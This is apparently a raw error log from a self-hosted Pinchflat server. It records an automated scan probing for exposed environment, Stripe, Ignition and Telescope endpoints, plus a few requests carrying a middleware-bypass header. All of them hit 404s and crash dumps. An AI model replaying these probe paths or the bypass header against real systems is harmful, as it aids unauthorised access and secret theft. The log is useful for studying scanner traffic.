{172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_ignition/health-check", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAge4BRSqSJewABcOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21601.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_ignition/health-check (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21601.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_ignition/health-check", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37088}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21602.0>, params: %{}, path_info: ["_ignition", "health-check"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_ignition/health-check", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-reva (truncated) 15:40:36.536 [info] GET /api/settings 15:40:36.536 [debug] QUERY OK source="settings" db=0.1ms idle=126.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.536 [debug] QUERY OK source="settings" db=0.0ms idle=114.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.536 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.536 [error] #PID<0.21604.0> running PinchflatWeb.Endpoint (connection #PID<0.21603.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37104}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21604.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAge5V-VCsfgcACMkh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37104}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37104}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21604.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-age (truncated) 15:40:36.649 [info] GET /__cve_probe_cve_test_404 15:40:36.649 [info] GET /api/env 15:40:36.650 [debug] QUERY OK source="settings" db=0.3ms idle=119.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.650 [debug] QUERY OK source="settings" db=0.3ms idle=227.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.650 [debug] QUERY OK source="settings" db=0.0ms idle=119.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.650 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.650 [debug] QUERY OK source="settings" db=0.1ms idle=114.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.650 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.650 [error] #PID<0.21608.0> running PinchflatWeb.Endpoint (connection #PID<0.21605.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__cve_probe_cve_test_404 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21605.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37116}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21608.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgfUdC-gEHtYABcOi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21605.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37116}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__cve_probe_cve_test_404 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21605.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__cve_probe_cve_test_404", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37116}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21608.0>, params: %{}, path_info: ["__cve_probe_cve_test_404"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/__cve_probe_cve_test_404", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priv (truncated) 15:40:36.650 [error] #PID<0.21607.0> running PinchflatWeb.Endpoint (connection #PID<0.21606.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37124}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21607.0>, params: %{}, path_info: ["api", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgfUdCxIkW4UACMlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37124}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21606.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37124}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21607.0>, params: %{}, path_info: ["api", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10 (truncated) 15:40:36.761 [info] GET /api/stripe 15:40:36.761 [info] GET /telescope/requests 15:40:36.762 [debug] QUERY OK source="settings" db=0.1ms idle=225.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.762 [debug] QUERY OK source="settings" db=0.1ms idle=111.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.762 [debug] QUERY OK source="settings" db=0.0ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.762 [debug] QUERY OK source="settings" db=0.1ms idle=111.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:36.762 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.762 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:36.762 [error] #PID<0.21612.0> running PinchflatWeb.Endpoint (connection #PID<0.21609.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/stripe ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/stripe", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37132}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: 